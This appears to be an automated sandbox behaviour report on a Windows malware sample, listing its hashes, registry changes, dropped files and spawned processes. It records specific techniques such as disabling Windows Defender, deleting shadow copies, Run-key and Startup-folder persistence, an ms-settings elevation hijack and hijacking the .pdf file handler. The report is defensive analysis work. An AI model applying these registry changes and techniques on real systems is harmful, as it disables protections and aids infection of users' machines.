Analysis
- max time kernel
149s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
24/10/2026, 16:17
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
cakhia-tv.ink_hyber.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
39 signatures
150 seconds
Behavioral task
behavioral2
Sample
cakhia-tv.ink_hyber.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
40 signatures
150 seconds
General
- Target cakhia-tv.ink_hyber.exe
- Size 49KB
- Sample261024-trp7lszz2l
- SHA256 c154c5f2a9486ab937dce0370c66bee71eeb26456857711a7d1a9ea9e7a5b43d
- MD5 2543e0f5cc1164d57a71fc40245f5878
- SHA1 a65c75492c240345105c8dca351dd6af6bf9867f
- SHA512 21c3aa61fc4ce6ebcfada4250c5ad3d4b0898c775d2521ae8db188ff83c7c02d0eb921dadc63ac6174feb91934bb8f63b2e99af366e6eb9601a2e6e81be7539c
- SSDEEP 768:PrVZZ6zs0h16cFdQuSnqQ/NKPzfX/fYY4f:HZ6HhIxqQGP/fYY4f
- TLSH T12B33054437ED4521E1BF9ABE89F251128731F4639C23DB9E1AD8459E09F3700CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/3252-0-0x0000000000460000-0x0000000000472000-memory.dmp disable_win_def behavioral1/files/0x0007000000024784-2263.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" cakhia-tv.ink_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5048 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" cakhia-tv.ink_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts cakhia-tv.ink_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3688 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation cakhia-tv.ink_hyber.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf cakhia-tv.ink_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf cakhia-tv.ink_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf cakhia-tv.ink_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia-tv.ink_hyber.exe" cakhia-tv.ink_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia-tv.ink_hyber.exe" cakhia-tv.ink_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 4956 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe cakhia-tv.ink_hyber.exe File created C:\Windows\system32\sysupdate.exe cakhia-tv.ink_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe cakhia-tv.ink_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 3448 wscript.exe 5096 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" cakhia-tv.ink_hyber.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3864 sc.exe 4156 sc.exe 3872 sc.exe 5040 sc.exe 3808 sc.exe 4352 sc.exe 2088 sc.exe 4772 sc.exe 2380 sc.exe 3496 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2092 cmd.exe 636 cmd.exe 4568 cmd.exe 3224 cmd.exe 1440 cmd.exe 396 cmd.exe 2364 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain cakhia-tv.ink_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname cakhia-tv.ink_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4292 ipconfig.exe 1684 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1872 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4928 vssadmin.exe 3776 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\WallpaperStyle = "2" cakhia-tv.ink_hyber.exe - Modifies data under HKEY_USERS 25 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\shell32.dll,-50176 = "File Operation" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{40DD6E20-7C17-11CE-A804-00AA003CA9F6} {000214FC-0000-0000-C000-000000000046} 0xFFFF = 01000000000000005ecfb033d363dd01 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{c9561ee0-0000-0000-0000-d01200000000}\NukeOnDelete = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "70" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{c9561ee0-0000-0000-0000-d01200000000}\MaxCapacity = "13092" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "6" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{c9561ee0-0000-0000-0000-d01200000000} LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open cakhia-tv.ink_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\.pdf\ = "PDFBotnet" cakhia-tv.ink_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet cakhia-tv.ink_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open cakhia-tv.ink_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command\DelegateExecute cakhia-tv.ink_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command cakhia-tv.ink_hyber.exe Key created \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell cakhia-tv.ink_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open cakhia-tv.ink_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell cakhia-tv.ink_hyber.exe Key created \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command cakhia-tv.ink_hyber.exe Key created \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings cakhia-tv.ink_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia-tv.ink_hyber.exe" cakhia-tv.ink_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell cakhia-tv.ink_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia-tv.ink_hyber.exe\" \"%1\"" cakhia-tv.ink_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command cakhia-tv.ink_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings cakhia-tv.ink_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3092 schtasks.exe 448 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5048 powershell.exe 5048 powershell.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe 3252 cakhia-tv.ink_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 356 LogonUI.exe Token: SeCreatePagefilePrivilege 356 LogonUI.exe Token: SeDebugPrivilege 3252 cakhia-tv.ink_hyber.exe Token: SeDebugPrivilege 5048 powershell.exe Token: SeIncBasePriorityPrivilege 3252 cakhia-tv.ink_hyber.exe Token: SeDebugPrivilege 1684 NETSTAT.EXE Token: SeDebugPrivilege 3364 whoami.exe Token: SeDebugPrivilege 4956 tasklist.exe Token: SeBackupPrivilege 3368 vssvc.exe Token: SeRestorePrivilege 3368 vssvc.exe Token: SeAuditPrivilege 3368 vssvc.exe Token: SeIncreaseQuotaPrivilege 3864 WMIC.exe Token: SeSecurityPrivilege 3864 WMIC.exe Token: SeTakeOwnershipPrivilege 3864 WMIC.exe Token: SeLoadDriverPrivilege 3864 WMIC.exe Token: SeSystemProfilePrivilege 3864 WMIC.exe Token: SeSystemtimePrivilege 3864 WMIC.exe Token: SeProfSingleProcessPrivilege 3864 WMIC.exe Token: SeIncBasePriorityPrivilege 3864 WMIC.exe Token: SeCreatePagefilePrivilege 3864 WMIC.exe Token: SeBackupPrivilege 3864 WMIC.exe Token: SeRestorePrivilege 3864 WMIC.exe Token: SeShutdownPrivilege 3864 WMIC.exe Token: SeDebugPrivilege 3864 WMIC.exe Token: SeSystemEnvironmentPrivilege 3864 WMIC.exe Token: SeRemoteShutdownPrivilege 3864 WMIC.exe Token: SeUndockPrivilege 3864 WMIC.exe Token: SeManageVolumePrivilege 3864 WMIC.exe Token: 33 3864 WMIC.exe Token: 34 3864 WMIC.exe Token: 35 3864 WMIC.exe Token: 36 3864 WMIC.exe Token: SeIncreaseQuotaPrivilege 3864 WMIC.exe Token: SeSecurityPrivilege 3864 WMIC.exe Token: SeTakeOwnershipPrivilege 3864 WMIC.exe Token: SeLoadDriverPrivilege 3864 WMIC.exe Token: SeSystemProfilePrivilege 3864 WMIC.exe Token: SeSystemtimePrivilege 3864 WMIC.exe Token: SeProfSingleProcessPrivilege 3864 WMIC.exe Token: SeIncBasePriorityPrivilege 3864 WMIC.exe Token: SeCreatePagefilePrivilege 3864 WMIC.exe Token: SeBackupPrivilege 3864 WMIC.exe Token: SeRestorePrivilege 3864 WMIC.exe Token: SeShutdownPrivilege 3864 WMIC.exe Token: SeDebugPrivilege 3864 WMIC.exe Token: SeSystemEnvironmentPrivilege 3864 WMIC.exe Token: SeRemoteShutdownPrivilege 3864 WMIC.exe Token: SeUndockPrivilege 3864 WMIC.exe Token: SeManageVolumePrivilege 3864 WMIC.exe Token: 33 3864 WMIC.exe Token: 34 3864 WMIC.exe Token: 35 3864 WMIC.exe Token: 36 3864 WMIC.exe Token: SeIncreaseQuotaPrivilege 1064 WMIC.exe Token: SeSecurityPrivilege 1064 WMIC.exe Token: SeTakeOwnershipPrivilege 1064 WMIC.exe Token: SeLoadDriverPrivilege 1064 WMIC.exe Token: SeSystemProfilePrivilege 1064 WMIC.exe Token: SeSystemtimePrivilege 1064 WMIC.exe Token: SeProfSingleProcessPrivilege 1064 WMIC.exe Token: SeIncBasePriorityPrivilege 1064 WMIC.exe Token: SeCreatePagefilePrivilege 1064 WMIC.exe Token: SeBackupPrivilege 1064 WMIC.exe Token: SeRestorePrivilege 1064 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3252 cakhia-tv.ink_hyber.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 356 LogonUI.exe 3252 cakhia-tv.ink_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
